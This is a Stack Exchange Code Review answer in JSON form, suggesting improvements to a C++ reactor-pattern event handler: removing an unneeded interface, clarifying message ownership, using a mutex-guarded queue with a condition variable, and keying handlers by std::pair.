"body": "<h1>Remove <code>class IEventHandler</code></h1>\n<p>Unless you plan to have multiple classes that inherit <code>IEventHandler</code>, there is no point in declaring an <code>IEventHandler</code> and having <code>EventHandler</code> inherit from it.</p>\n<h1>Avoid duplicating functionality</h1>\n<p>In the constructor that takes a <code>Message *</code>, you duplicate code from <code>OnMessage()</code> and <code>startEventHandlerThread()</code>. It is always best to avoid code duplication, and just have the constructor call the other member functions:</p>\n<pre><code>EventHandler(const Message *msg)\n{\n OnMessage(msg);\n startEventHandlerThread();\n}\n</code></pre>\n<p>This way, if you decide to change the way to add a message or start the thread, you only have to do it in one place.</p>\n<h1>Where is the message queue?</h1>\n<p>I see you have <code>std::map</code>s for handlers and users, but there is only a single pointer for a message. The message handling is done in its own thread, so what happens if another thread calls <code>OnMessage()</code> multiple times while the first message is still being parsed by <code>ParseMessage()</code>?</p>\n<p>Also, nowhere is <code>fresh_msg</code> being set back to <code>nullptr</code> after the message has been parsed. So it will continue parsing the same message over and over until another one is submitted using <code>OnMessage()</code>.</p>\n<p>Most importantly, you pass a pointer to a message, but who owns the message? What if I write:</p>\n<pre><code>auto *msg_ptr = new reactor::Message;\nreactor::EventHandler event_handler(msg_ptr);\ndelete msg_ptr;\n</code></pre>\n<p>You have to ensure you clearly define ownership of the message. I would either have the reactor store the message by value, or use <a href=\"https://en.cppreference.com/w/cpp/memory/shared_ptr\" rel=\"nofollow noreferrer\"><code>std::shared_ptr</code></a> instead of a raw pointer.</p>\n<p>I recommend you use <a href=\"https://en.cppreference.com/w/cpp/container/queue\" rel=\"nofollow noreferrer\"><code>std::queue</code></a> to hold a queue of messages. You also need to ensure it is guarded by a mutex, and use a <a href=\"https://en.cppreference.com/w/cpp/thread/condition_variable\" rel=\"nofollow noreferrer\">conditional variable</a> to signal that new messages are added to the queue. Here is an example that has a queue that stores <code>Message</code>s by value:</p>\n<pre><code>class EventHandler {\npublic\n ...\n void AddMessage(const Message &msg) {\n std::lock_guard<std::mutex> lock(msg_mutex);\n msg_queue.push(msg);\n msg_cond.notify_one(); \n }\n\n void MessageLoop() {\n std::unique_Lock<std::mutex> lock(msg_mutex);\n\n while(event_loop_start) {\n msg_cond.wait(lock, [&]{return !msg_queue.empty()});\n auto msg = msg_queue.front();\n msg_queue.pop();\n ParseMessage(msg);\n }\n }\n ...\nprivate:\n std::queue<Message> msg_queue;\n std::mutex msg_mutex;\n std::condition_variable msg_cond;\n ...\n};\n</code></pre>\n<h1>Optimize your maps</h1>\n<p>You don't need to create a map of maps, you can make the key a <a href=\"https://en.cppreference.com/w/cpp/utility/pair\" rel=\"nofollow noreferrer\"><code>std::pair</code></a> that holds both the user ID and message type:</p>\n<pre><code>bool RegisterEventHandler(int user_id, int message_type, std::function<void (void)> func) {\n ...\n handler_map[{user_id, message_type}] = func;\n ...\n}\n\nbool RemoveEventHandler(int user_id, int message_type) {\n ...\n handler_map.erase({user_id, message_type});\n ...\n}\n\nvoid ParseMessage(const Message* msg) {\n ...\n // Call the function registered by a specific user, for a specific message type.\n handler_map.at({user_id, msg->type})();\n ...\n}\n\nstd::map<std::pair<int, int>, std::function<void(void)>> handler_map;\n</code></pre>\n<p>Also, you might want to use a <a href=\"https://en.cppreference.com/w/cpp/container/unordered_map\" rel=\"nofollow noreferrer\"><code>std::unordered_map</code></a> as it is faster, and you don't need the maps to be ordered.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-21T19:47:48.863",
"Id": "249649",
"ParentId": "249607",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-21T08:38:46.180",
"Id": "249607",
"Score": "2",
"Tags": [
"c++",
"c++11",
"design-patterns",
"c++14"
],
"Title": "Reactor pattern in modern C++. Please comment on coding improvements to be done"
}
|
249607
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.